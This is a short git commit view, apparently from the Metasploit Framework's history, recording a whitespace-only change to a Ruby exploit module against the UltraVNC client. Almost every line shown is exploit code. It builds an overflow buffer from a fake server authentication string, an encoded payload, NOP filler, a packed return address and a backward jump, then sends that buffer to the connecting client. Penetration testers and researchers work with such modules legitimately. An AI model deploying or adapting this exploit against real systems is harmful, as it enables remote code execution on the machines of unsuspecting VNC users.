fixed spacing shizzle.
git-svn-id: file:///home/svn/framework3/trunk@4205 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
529b808fc9
commit
bd43475166
|
@ -59,9 +59,9 @@ class Exploits::Windows::Vnc::Ultravnc_Client < Exploit::Remote
|
||||||
|
|
||||||
filler = make_nops(980 - payload.encoded.length)
|
filler = make_nops(980 - payload.encoded.length)
|
||||||
|
|
||||||
sploit = "\x00\x00\x00\x00\x00\x00\x04\x06" + "Requires Ultr@VNC Authentication\n"
|
sploit = "\x00\x00\x00\x00\x00\x00\x04\x06" + "Requires Ultr@VNC Authentication\n"
|
||||||
sploit << payload.encoded + filler + [target.ret].pack('V')
|
sploit << payload.encoded + filler + [target.ret].pack('V')
|
||||||
sploit << "PASSWORD" + [0xe8, -997].pack('CV')
|
sploit << "PASSWORD" + [0xe8, -997].pack('CV')
|
||||||
|
|
||||||
print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")
|
print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")
|
||||||
client.put(sploit)
|
client.put(sploit)
|
||||||
|
|
Loading…
Reference in New Issue